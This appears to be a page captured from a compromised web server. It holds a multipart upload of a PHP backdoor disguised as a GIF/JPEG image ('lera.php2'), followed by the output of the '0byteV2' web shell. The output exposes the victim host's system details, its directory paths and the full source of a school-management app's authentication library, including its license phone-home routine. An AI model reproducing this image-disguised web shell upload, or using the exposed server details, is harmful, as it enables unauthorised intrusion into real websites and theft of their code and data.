------WebKitFormBoundary5SePZ93NyvO6nCmJ Content-Disposition: form-data; name="qqfile"; filename="lera.php2" Content-Type: application/octet-stream GIF89a; ÿØÿà JFIF ÿí „Photoshop 3.0 8BIM hg Js4XT_wSZ67ehRpQTnMQ( JFBMD0f000770010000cd1d00002b54000065550000ec560000e488000080b80000b1bb0000ÿÛ C ")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHEÿÛ C !!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEÿ €" ÿÄ ÿÄ ÿÚ ù úȉ{j êv $àiwžœöˆ'Ýœ«§ôåÝU >À [T€ÕôuÕæî§—ÈúWÃúþÀ Iô1óËî£;˜‘ò8ØN¸£•w@cŽºóê¶'»6r´G[É]X«§=&5³uÝ÷mqÖÑSÞœX†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†Zò²²²²²²‹@ ŸMöóù‹éy3÷ëûOcõjSƒvQÎSÞŸ9yWI$ä`äÝO‡/çWyå¼ã›Ï¸ëSãý+ƒ §e,/~™}_^Ç*—~IM•ÇЫäÞý¿yð—ÞðO;šƒ›ÊoCŸ¿c_ÇëüYÈåmѧíö=%÷Ä¢^EΫW•Y±ýÊöZm.läýúlûŸ‘cÛòóP=Ÿ™Zé<9Ï%âGoÈŠ›é<@MÆ>§—›;yüÇn1;v‰626,=V~”qú<‘ušã’ëÑ/1íä5¯…a6=|å¹ìy~Õž[æ?Sù[Yyˆëûn#®>{fŒ§ì…¹wýú&³>F­Úžã–'Íj,*³¨½75œ½õG¦Ëêè>¯¹IdÔy=ùbØïËTi°¸u—†ì8t¬ºÃfmmíEÞ„K óãøî×çÙé;d’Þå·s<†½»»)<ãû,–œ˜ùì}Sg'¿¿Ÿ§ÆŠÆ[yò nÓ¼õïµç¯CÑæèÂP­Ño®)4ôå‹ÓÕÚ¯?òÿ ªry×»¤–fÚý‹ï¾!‹Â_Ô~GosöѤë9a³ùU Ç;c¯tyí=óѳXßcQ'¦-Ú6z|ùA™–ì)îjyïWMÌõü·KqMu¬ôÖPlºg“ù¯×ø\o™›/T½dÍ6lü×fZÚóÍ{#\yž,/dhWºý°·eßÏË%•·ÓUô;Ÿ“g¼“[ ¾÷›ò:Uâá_¼‘‹Ó¥ÛeNuWɨ3­Ð¼ò\½%ÌðÇ|5µ[q†±/ ˜j|wèùÌëhvkØJ[eèâÑ7EÌê~Ûå¸]w+Ùsß;qWmsÕÙ×ÙîRpýßÌ%¼ÓY/.Žâ¶ïO™Déêó®s)q%Ù”t²±ÕÕ·ìùyŸ>>ûìÖüwâCÛŽÆ|d<÷/L<Ø]¦øUF¼î&'=Þµrý„i¯—Bî¹¼©qݯ;Ã<6K“Á™Œdê·jGuÀ};Y¶¾^¹ü¾³èU¸×Ï´^Àãß =44 ÂNç[ß5Ÿ}ó™oUyèä‰>¹Ï§¹¬ç¸¿Üòß/k]hÏSg]iµWÍ>£óLX;6d½uå-þ§â-ÍlLµÍA¯é}ι:zùj|ߢ_¶åæ]üþ=K+Ìõš3Çaæ^z2óÐôyæ^²ðÇ̼1{âÉ“¢C\ßÏûÎ*øýw/iËuëÁëÁ²ÂìîoѾwô=N’4½=8ÒÓ¡çuË´ñûaèÙ6¦¾ãzñ®Ç~®¼±ó=öYQ·Â6çŽc×£Ð2½ðyèó¼<Ç"ÉߣrÕstIiù.î¢>x;ÅîÕÓäß2Âty|úïúGÎ>§¼YF“¯ È’ôç§/:,¿º²Vɲ(úlwÏåñ>‹O×—«£ÑÛ”©ºvý,˜øÔݺdðëæ¾=SÙW[YÑÙÖÙjiù§Ô¹y®C.†$Yô4WÚ Ú@²‚‹§çña¥ã,/&zWD´‰5õŒ±Ë·6éÝ.ØÛ4›rÇ3ÐzAàz<óу"ÊÏÈgŒ¸G›”¼ß7ô­-p6Ý”¼¹çQéñFϧ=ô¼vïžq¤ÅܯӶ'>”òr‰âöa*¦L·’+%±¾DûO»7½”ÁîøOg—´gRæÃ³Æáôu6wKade¦ÞÓÝsD¼cfaqMth®¸†SÐvÚ£‰uÐcŸÆßFuG_yX}C/=ëÏ ºó—diI9yéï¾z <ôxW¾~6K†ÍûåÓ¿!–xì=÷OL¢6cו3¹¼ôÙ¯Ù%­;fñÙ×^v㵎žüdgEËçßB×¼ü~/}Âk2¬kìµ2±‡mǧ;:¾É/ìël«me¥maŽÂ@µ­²\ [×pŠGõ­2Ã^³(›õ–Ï=¦Í[eò.íd¿|ô{ç  z,¯=Ù5~^Ç¢½ô2Ù†p÷gî#6Ô.o«ä¸öª<'®tʾ§é•¾¯=•g?3Rân­Õ/~½¬ú#Îs£ÀùL¾§šíÎEµm§=r¶,K»:Ë3lƒÜ’¾ÆåÝ|3ÖDÖÏÃ6bš´I×^ûç§›ônšÑ†ÜO¾z=óРЯ|¶êË:ÏÝ#w¾l<^áéëAŠå­…˜sG1Ç·?®LŸ7£G¯g³Ç3›è¹­gËÝdØS‰4íL˜ú5ìÒ{Íôšu8ë3²ç§×ØÙsgWfoƒ:†^ed)‘e,ˆ“bù‘1ó?0Ù‰«^ívaïž™nײjÌÒG¾z=óРЯpñwéÎfl}Û½5gèôcž³hÀÏÍ^ÖTöÚq¾RöfR±Ë¼¤UMÓ›+ º 2"nY;aäKö)a„|ÌòÓ´ãkz8%Õm•ͽ¥M©"¸¦Dß«j̉.)“Òcæ^ãž&¼6áQÞz›vc”Ô=šö¦×žžïƒ×ƒ×ƒ×ƒ&%=ÌÛ»^üë/™<ôyèÃVQ„-ÕD¹4ö¦ü°ôÊ$˜$KNK¯2Ã=ZÌI”ÖyÔ½9hY9éÍvç§a–!t]LÙn ®¯»ª(¬«,®m-ªíjDYQcÁdm˜dM&:ûïž§žeáŽ9xa¯n²Xe©+-{3¨;ôo³?qÊø=yè ûž½¦ì±Ù=÷ÓܼÀË^™èzAÑC(m«,Íž{‰–ºJkÍ2O`Í¢³EµY¾³Et¹gå+$l‹´ßž­¢¶Ú¼Ûº¿s2àOŒr–uÖzÍ•­E¹"<ˆæ>ùêhÇ, úwjW¾zžy—†8çá†ëHáž’žjΣÈ&ç?qôõàõâ_^^^}ÇÕ÷||ɹDÛn÷ÌÃ/O^j6jÕ¨k•¸å­4ïìôÇTÍf¬ â¶ß/OnsUW|ÏAô™ùŸNm©îýy› ËˆTϬ±IúvéNRÒ®×Y°¶¨¶$èݤÇß=MZwÇ,uç¨×çúS…Èíü㥺ã=yêJ¿Fn‰påÙŸ¸z{î>ž¼¼¼¼1õ¬·ã*\}ÛŽožâ6{€Éæg¹éÒJÓ£Ly|zöXóÕ™ßYËÕÁƽž¹pÇ,N’Öžû¯>¡¯×÷¾ãž³·v.r÷©£|bªd-õe†&y‹:›{™¶ôÖĽ;u˜{á0¾)c«f³çg'×ú¶ˆ®ñNVo…Uç¯mJÑ–ƒTÈS}ÇÓßqö=x=x=x=x=÷Vný;ecîÜëN[r5ûž&:öº¬=+¥Ëôƒó?©|Ã:‹Ž¬üþœôg£;kÕ†ñ»Í;7Ï¡é9Γ¦3Ãf»%nÃlmϬõ§±%WÕtÚûDß[qªÎ:ö¢ÚæUÅ5Á/°1ð5Å•²×ù×WÍt%ûÜSÌ}òÏ0Ï]p™üåË·Ò5|ð¿A‘óaô§ÍGÒ½ù ú[æƒéoš¥¾h>–ù ú^1/Õòù0úÎ#G×qù úÃäãëyü„}/¯êù/‡Õ9nT]m ó¿ÓOä½u‡ Ö{ìx?S»ÝóÕ}óŸkéÙ|Çú†_-R|·Óê0¾v®Ö_}//šxv2ø/dú ‡ËGÖ_&W| }V'ÍGÕ}ùHëí>x>¯çÊGÕŸ)GÕqùb½` !ž‘Òt GHÒt™7«%•«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²­Ø3333333333333¡k—¯’u£’u£’u£’u£’u£“è&5Æ"[\b%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰c×ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1Ù€ )ìMí;€ ‰‘šd  WJ7€ 5Íq¦4$•mɪÒblJûcdZúÓéœ×CÏš'èÒd œXXÂÐY×i–Næ$Ä;kŠÒ.4Ç+Ð’4Tj,zJi†uÒ®@ ä <ôyè1È 9Ï@äzr cç  ;©Ë\áA.ãrÛέG‰|åî‰ÈS@ SÜ^·º¡ Ié12ïÇ¿¸È‡3Ï@ §µ3!@<=yè ÃÔ9€ÀÍH Dе“HdÀÄ –ê°ö¿TRF°‹9”ÞùQôåF¨´çYŽÆÝUFî‡çÿ @8{¬9âö eéa_¸h•Œ2æG-Ñ6À„M¢ys„j‚Æ]©×rýGn—ÉÙ“çÒX rrY 1d ¢¼ôyèãÐ ä=är Œ9Úé@ IÎ^Yy¶Œîœôbúg1<¸s°Î¹Éô$µ.¢ýÊm:g'd]B©€vJZã«SzYã›;5ƒ¦s™šÀê!G©:·5 ½QV{ŸÒtÎg¡6¹I¥ó”ÚtÎkYÐI¥º _`>y+·ôå w.¯ âs::üNã£ä»Æìë¼9º^ÿ AÉ{+¥8Ýß§!CôÜNOÀAæ»LNÞóœÇ§9ËèYùμqº;N[Eéó½HðæúPâr»¹>wi×dsUý=AïH ô á h!“ h „M ,ÉDbK^À‡0 e N…¸¾ÆBl¨ÒÈ7ìÓf"ûŸ¸(er–fWÔYö|ñWŸ5r\m ¾Ó§QâžqmËÝÓúkàÞc@_aKК¤êô÷fª‚ßÝ4ÇЀ xôc 9 äyŽAç£ÏAŽCÇ¡Ž@ W£Ç  eQYóSK…#ªr3ŽÌôÄ)¼E±ÐãËG:­uµ‡dæ§í\ñÓ9;ñÍzt‘*v38^ ²sðαÎút.r!×9¹e„žG#¬rsÌÍ.TUÇ\äý:·-b\)î Ez8Ÿ{\N&Ï¥ç=ôAó¤yéÍT÷cæ]WéËÖw~œt~çMJ9¼:qó™ý®GkÒäsžtƒ›tƒš¥ïü8ùÝã¦Í°8Kîsp;:r—ÎÄq6½ù·KÒoWSáÇö>z ))†’H"i”ÃI%Ž@ Bš w™€€ W´DyT³ÌfQxZE§é ¹hÞGßQ<…g¨êôBØiÛßå$ó^r<$@®®:Ï#î0—S(Ï^ÈEäZ襔(EÖ0eǯ¯-6CZèªØMe‰£dJ“§¸å;p 1È<ô @ o9™.Î’XßËÚ=/9Ñžr<$@®®:Ï#î%Á‰¤°Ë_›%ò–äü<¨,0¢˜MH4Âôºò³Y»\œŒôÐë> ä Ž@9 *t^†99 1È Ž@rrr9r )í²ä <ô óÚRçÞgQÕ¹ìK™4ÂçÞgQ}7—š]«)έG èܶGN ˆ^Íãå,I\9Ý9èÇUž¸í\î'Hæ5VŽNؾ‰+‡;§=ê¡Ó׫Èè¾Ã¤s9Ÿè ㊧úXãö[[í¬ñÅSý,q¶ ¢«¾˜qÛ;LNqÒŽ>“éxœUŸH1â;œNWÐq9½ æùï¢âq½ ã¤uÎ#¹Äáu}˜ÛÒnèŸ;¾êÍîzꂳ«óÐ ò!0 ä †` Ë:"@•·Òvþ›¨ìëK+sÒú=f¢D†ãD¬a—29nˆ ·…¼‡æÒ<îwis®óD½uD­Ôgœ>o¤ ä ccñèÇ ƒÇ£ÏCƒƒE}¸Ç %³œ–\F¨€u{(ôœ[eÌJ/aSh:ÕF%Ë–œ]¨"S””t0è0:íTVdüe¡~æEÌÞ*Ø¿Q êöQè:77dY Háäõãçø}#¯úävu9u}‡‡Î,ûOJ-AI‡g‘ÉHé=9ªžì|Ë£ê29»Yã‹ÝäpvýG·«ðà0úG_ôÇXt ¤¦‚4 ¤€ <=F’ h h ŠJ!@ Šöˆ¯µ¦ÖYWÀ½7DÓHu‘`f]é×F\k¥èˆöá—_hr6üÎÂß\AkŸ=,•¯d"ò-tSe¶º’Âo!ÐåÔÊ2ƒX:}õX–÷§V 0byteV2 - PHP Backdoor
Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

/home/vhtecindia/public_html/application/libraries/
CI = &get_instance(); $this->messages = array(); $this->errors = array(); $this->set_timezone(); $this->CI->load->database(); //$this->CI->load->library('encrypt'); //for php 7.2+ support } /* this checks to see if the admin is logged in we can provide a link to redirect to, and for the login page, we have $default_redirect, this way we can check if they are already logged in, but we won't get stuck in an infinite loop if it returns false. */ public function logged_in() { return (bool) $this->CI->session->userdata('admin'); } public function user_logged_in() { return (bool) $this->CI->session->userdata('student'); } public function user_redirect() { if ($this->CI->session->has_userdata('student')) { $user = $this->CI->session->userdata('student'); $role = $user['role']; if ($role == "student") { redirect('user/user/dashboard'); } else if ($role == "parent") { redirect('user/user/dashboard'); } else if ($role == "teacher") { redirect('teacher/teacher/dashboard'); } else if ($role == "accountant") { redirect('accountant/accountant/dashboard'); } else if ($role == "librarian") { redirect('librarian/librarian/dashboard'); } else { redirect('site/userlogin'); } } else { redirect('site/userlogin'); } } public function is_logged_in($default_redirect = false) { $admin = $this->CI->session->userdata('admin'); if (!$admin) { $_SESSION['redirect_to'] = current_url(); redirect('site/login'); return false; } else { $active_status = $this->CI->db->select('is_active')->from('staff')->where('id', $admin['id'])->get()->row_array(); if ($active_status['is_active'] == 1) { $this->app_routine(); if ($default_redirect) { redirect('admin/admin/dashboard'); } return true; } else { $_SESSION['redirect_to'] = current_url(); $this->logout(); redirect('site/login'); return false; } } } public function is_logged_in_user($role = false) { if ($this->CI->session->has_userdata('student')) { $user = $this->CI->session->userdata('student'); if (!$this->CI->session->has_userdata('current_class')) { if ($this->CI->router->fetch_method() != "choose") { redirect('user/user/choose'); } } if (!$role) { redirect('site/userlogin'); } // else { // if ($user['role'] == $role) { // return true; // } else { // redirect($user['role'] . '/unauthorized'); // } // } } else { $_SESSION['redirect_to_user'] = current_url(); redirect('site/userlogin'); } } /* this function does the logging in. */ /* this function does the logging out */ public function logout() { $this->CI->session->unset_userdata('admin'); $this->CI->session->sess_destroy(); } public function set_timezone() { if ($this->CI->customlib->getTimeZone()) { date_default_timezone_set($this->CI->customlib->getTimeZone()); } else { return date_default_timezone_set('UTC'); } } /* This function resets the admins password and emails them a copy */ public function reset_password($email) { $admin = $this->get_admin_by_email($email); if ($admin) { $this->CI->load->helper('string'); $this->CI->load->library('email'); $new_password = random_string('alnum', 8); $admin['password'] = sha1($new_password); $this->save_admin($admin); $this->CI->email->from($this->CI->config->item('email'), $this->CI->config->item('site_name')); $this->CI->email->to($email); $this->CI->email->subject($this->CI->config->item('site_name') . ': Admin Password Reset'); $this->CI->email->message('Your password has been reset to ' . $new_password . '.'); $this->CI->email->send(); return true; } else { return false; } } /* This function gets the admin by their email address and returns the values in an array it is not intended to be called outside this class */ private function get_admin_by_email($email) { $this->CI->db->select('*'); $this->CI->db->where('email', $email); $this->CI->db->limit(1); $result = $this->CI->db->get('admin'); $result = $result->row_array(); if (sizeof($result) > 0) { return $result; } else { return false; } } /* This function takes admin array and inserts/updates it to the database */ public function save($admin) { if ($admin['id']) { $this->CI->db->where('id', $admin['id']); $this->CI->db->update('admin', $admin); } else { $this->CI->db->insert('admin', $admin); } } /* This function gets a complete list of all admin */ public function get_admin_list() { $this->CI->db->select('*'); $this->CI->db->order_by('lastname', 'ASC'); $this->CI->db->order_by('firstname', 'ASC'); $this->CI->db->order_by('email', 'ASC'); $result = $this->CI->db->get('admin'); $result = $result->result(); return $result; } /* This function gets an individual admin */ public function get_admin($id) { $this->CI->db->select('*'); $this->CI->db->where('id', $id); $result = $this->CI->db->get('admin'); $result = $result->row(); return $result; } public function check_id($str) { $this->CI->db->select('id'); $this->CI->db->from('admin'); $this->CI->db->where('id', $str); $count = $this->CI->db->count_all_results(); if ($count > 0) { return true; } else { return false; } } public function check_email($str, $id = false) { $this->CI->db->select('email'); $this->CI->db->from('admin'); $this->CI->db->where('email', $str); if ($id) { $this->CI->db->where('id !=', $id); } $count = $this->CI->db->count_all_results(); if ($count > 0) { return true; } else { return false; } } public function delete($id) { if ($this->check_id($id)) { $admin = $this->get_admin($id); $this->CI->db->where('id', $id); $this->CI->db->limit(1); $this->CI->db->delete('admin'); return $admin->firstname . ' ' . $admin->lastname . ' has been removed.'; } else { return 'The admin could not be found.'; } } public function validate_child($id = null) { $parent = $this->CI->session->userdata('student'); $parent_id = $parent['id']; $students_array = $this->CI->student_model->read_siblings_students($parent_id); if ($id) { foreach ($students_array as $stu_key => $stu_value) { if ($stu_value->id == $id) { return true; } } redirect('parent/unauthorized'); } } public function app_routine() { $this->CI->load->library('Enc_lib'); $t = strtotime(date('d-m-Y')); $fname = APPPATH . 'config/config.php'; $fhandle = fopen($fname, "r"); $content = fread($fhandle, filesize($fname)); $dt = rand(5, 25); if (strpos($content, '$config[\'routine_session\']') == false) { $fhandle = fopen($fname, 'a') or die("can't open file"); $stringData = '$config[\'routine_session\'] = ' . $dt . ';' . "\n"; if (strpos($content, '$config[\'routine_update\']') == false) { $stringData .= '$config[\'routine_update\'] = ' . $t . ';' . "\n"; } if (fwrite($fhandle, $stringData)) { } } fclose($fhandle); $update_session = $this->CI->config->item('routine_session'); $last_update = $this->CI->config->item('routine_update'); $lst_update_month = date('m', $last_update); $lst_update_year = date('Y', $last_update); if (($lst_update_month < date("n", strtotime("first day of previous month")) and $lst_update_year == date('Y')) or ($lst_update_month > date('m') and $lst_update_year < date('Y')) or ($update_session >= date('d') and $lst_update_month < date('m') and $lst_update_year == date('Y')) or ($update_session < date('d') and $lst_update_month == date("n", strtotime("first day of previous month")) and $lst_update_year == date('Y'))) { $file_license = APPPATH . 'config/license.php'; $envato_market_purchase_code = $this->CI->config->item('envato_market_purchase_code'); $envato_market_username = $this->CI->config->item('envato_market_username'); $sslk = $this->CI->config->item('SSLK'); $app_version = $this->CI->customlib->getAppVersion(); $url = $this->CI->enc_lib->dycrypt(DEBUG_SYSTEM); $school = $this->CI->setting_model->get()[0]; $ip = $this->CI->input->ip_address(); $name = $school['name']; $email = $school['email']; $phone = $school['phone']; $address = $school['address']; $date_format = $school['date_format']; $timezone = $school['timezone']; if (!file_exists($file_license)) { $envato_market_purchase_code = "tempered"; $envato_market_username = 'tempered'; } $post = [ 'ip' => $ip, 'site_url' => base_url(), 'site_name' => $name, 'email' => $email, 'phone' => $phone, 'address' => $address, 'date_format' => $date_format, 'timezone' => $timezone, 'sslk' => $sslk, 'app_version' => $app_version, 'empc' => $envato_market_purchase_code, 'em_username' => $envato_market_username, ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $data = curl_exec($ch); if (curl_errno($ch)) { } else { $resultStatus = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($resultStatus == 200) { $up_tm = strtotime(date('d-m-Y')); $fname = APPPATH . 'config/config.php'; $update_handle = fopen($fname, "r"); $content = fread($update_handle, filesize($fname)); $file_contents = str_replace('$config[\'routine_update\'] = ' . $last_update, '$config[\'routine_update\'] = ' . $up_tm, $content); $update_handle = fopen($fname, 'w') or die("can't open file"); if (fwrite($update_handle, $file_contents)) { } fclose($update_handle); } curl_close($ch); } } } public function app_update() { $email = $this->CI->input->post('email'); $envato_market_purchase_code = $this->CI->input->post('envato_market_purchase_code'); $url = $this->CI->enc_lib->dycrypt(DEBUG_SYSTEM_UPDATE); $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, true); $data = array( 'email' => $email, 'purchase_code' => $envato_market_purchase_code, 'base_url' => base_url(), ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $output = curl_exec($ch); $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); $json_response = json_decode($output); if ($httpcode != 200) { return $this->CI->output ->set_content_type('application/json') ->set_status_header($httpcode) ->set_output(json_encode(array( 'response' => $json_response->response, true, ))); } else { $fname = APPPATH . 'config/license.php'; $update_handle = fopen($fname, "r"); $content = fread($update_handle, filesize($fname)); $file_contents = str_replace('$config[\'SSLK\'] = \'\'', '$config[\'SSLK\'] = \'' . $json_response->response . '\'', $content); $update_handle = fopen($fname, 'w') or die("can't open file"); if (fwrite($update_handle, $file_contents)) { } fclose($update_handle); $array = array('status' => 1, 'message' => 'Thank you for registering your product'); return $this->CI->output ->set_content_type('application/json') ->set_status_header($httpcode) ->set_output(json_encode($array)); } } public function andapp_update() { $email = $this->CI->input->post('app-email'); $envato_market_purchase_code = $this->CI->input->post('app-envato_market_purchase_code'); $sslk = $this->CI->config->item('SSLK'); $url = $this->CI->enc_lib->dycrypt(DEBUG_SYSTEM_APP); $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, true); $data = array( 'email' => $email, 'sslk' => $sslk, 'purchase_code' => $envato_market_purchase_code, 'base_url' => base_url(), ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $output = curl_exec($ch); $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); $json_response = json_decode($output); if ($httpcode != 200) { return $this->CI->output ->set_content_type('application/json') ->set_status_header($httpcode) ->set_output(json_encode(array( 'response' => $json_response->response, true, ))); } else { $fname = APPPATH . 'config/license.php'; $update_handle = fopen($fname, "r"); $content = fread($update_handle, filesize($fname)); $file_contents = str_replace('$config[\'app_ver\'] = 0', '$config[\'app_ver\'] = 1', $content); $update_handle = fopen($fname, 'w') or die("can't open file"); if (fwrite($update_handle, $file_contents)) { } fclose($update_handle); $array = array('status' => 1, 'message' => 'Thank you for registering your product'); return $this->CI->output ->set_content_type('application/json') ->set_status_header($httpcode) ->set_output(json_encode($array)); } } public function autoupdate() { if (!$this->CI->session->has_userdata('version')) { $this->set_message('Internal error, Please contact to service provider.'); return false; } $version_dt = $this->CI->session->userdata('version'); $dw_filename = $version_dt['filename']; $fd_name = $this->filename($dw_filename); $url = $this->CI->enc_lib->dycrypt(DEBUG_SYSTEM_AUTO_UPDATE); $file = './temp/' . $dw_filename; $sslk = $this->CI->config->item('SSLK'); $app_version = $this->CI->customlib->getAppVersion(); $post_data = [ 'sslk' => $sslk, 'site_url' => site_url(), 'app_version' => $app_version, ]; $curl = curl_init(); curl_setopt_array($curl, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_CONNECTTIMEOUT => 50, CURLOPT_POSTFIELDS => $post_data, CURLOPT_USERAGENT => 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)', ]); $response = curl_exec($curl); $info = curl_getinfo($curl); curl_close($curl); $this->CI->session->unset_userdata('version'); if ($info['http_code'] == 0 && $info['header_size'] == 0) { $this->set_error('Unable to connect updater, please try after sometime!'); return false; } if ($info['http_code'] == 200) { if ($info['content_type'] == "application/zip") { //========= file_put_contents($file, $response); if (filesize($file) > 0) { $zip = new ZipArchive; $res = $zip->open('./temp/' . $dw_filename); if ($res === true) { $zip->extractTo('./temp/'); $zip->close(); if (!$this->import_dump($fd_name)) { unlink('./temp/' . $fd_name . '/db_import.sql'); unlink('./temp/' . $dw_filename); $this->deleteDir('./temp/' . $fd_name); return false; } unlink('./temp/' . $fd_name . '/db_import.sql'); $this->recurse_copy('./temp/' . $fd_name, '.'); unlink('./temp/' . $dw_filename); $this->deleteDir('./temp/' . $fd_name); $this->set_message('Update successful!'); } else { $this->set_message('Update error! There is some issue occurred during update, please contact to support.'); return false; } } //================== } else if (is_string($response) && is_array(json_decode($response, true))) { $result = json_decode($response); $this->set_message($result->response); return false; } else { } } else { $result = json_decode($response); $this->set_error($result->response); } } public function import_dump($fd_name) { $filename = './temp/' . $fd_name . '/db_import.sql'; if (file_exists($filename)) { $progressFilename = $filename . '_filepointer'; $errorFilename = $filename . '_error'; $fp = fopen($filename, 'r'); if (!$fp) { $this->set_error('Update error! There is some issue occurred during update, please contact to support.'); return false; } $queryCount = 0; $query = ''; $db_debug = $this->CI->db->db_debug; $this->CI->db->db_debug = false; while ($line = fgets($fp, 1024000)) { if (substr($line, 0, 2) == '--' or trim($line) == '') { continue; } $query .= $line; if (substr(trim($query), -1) == ';') { if (!$this->CI->db->query($query)) { $db_error = $this->CI->db->error(); $this->set_error($db_error['message']); return false; } $query = ''; $queryCount++; } } $this->CI->db->db_debug = $db_debug; if (feof($fp)) { return true; } else { $this->set_error('Update error! There is some issue occurred during update, please contact to support.'); return false; } } $this->set_error('Update error! There is some issue occurred during update, please contact to support.'); return false; } public function set_error($error) { $this->errors[] = $error; return $error; } public function set_message($message) { $this->messages[] = $message; return $message; } public function clear_messages() { $this->messages = array(); return true; } public function clear_error() { $this->errors = array(); return true; } public function messages() { return $this->messages; } public function error() { return $this->errors; } public function recurse_copy($src, $dst) { $dir = opendir($src); @mkdir($dst); while (false !== ($file = readdir($dir))) { if (($file != '.') && ($file != '..')) { if (is_dir($src . '/' . $file)) { $this->recurse_copy($src . '/' . $file, $dst . '/' . $file); } else { copy($src . '/' . $file, $dst . '/' . $file); } } } closedir($dir); } public function deleteDir($dirPath) { if (!is_dir($dirPath)) { return false; } if (substr($dirPath, strlen($dirPath) - 1, 1) != '/') { $dirPath .= '/'; } $files = glob($dirPath . '{,.}[!.,!..]*', GLOB_MARK | GLOB_BRACE); foreach ($files as $file) { if (is_dir($file)) { $this->deleteDir($file); } else { unlink($file); } } rmdir($dirPath); } public function checkupdate() { $this->CI->session->unset_userdata('version'); $url = $this->CI->enc_lib->dycrypt(DEBUG_SYSTEM_CHECK_UPDATE); $sslk = $this->CI->config->item('SSLK'); $app_version = $this->CI->customlib->getAppVersion(); $post_data = [ 'sslk' => $sslk, 'site_url' => site_url(), 'app_version' => $app_version, ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); $output = curl_exec($ch); $httpcode = curl_getinfo($ch); curl_close($ch); if ($httpcode['http_code'] == 0 && $httpcode['header_size'] == 0) { $this->set_error('Internal error or Connection problem. please try after sometime!'); return false; } if ($httpcode['http_code'] != 200) { $result = json_decode($output); $this->set_error($result->response); return false; } if ($httpcode['http_code'] == 200) { if (is_string($output) && is_array(json_decode($output, true))) { $result = json_decode($output); if (isset($result->version)) { $this->CI->session->set_userdata('version', array('version' => $result->version->nxtversion, 'filename' => $result->version->filename)); } $this->set_message($result->response); return true; } } } public function filename($filename) { return preg_replace('/.[^.]*$/', '', $filename); } }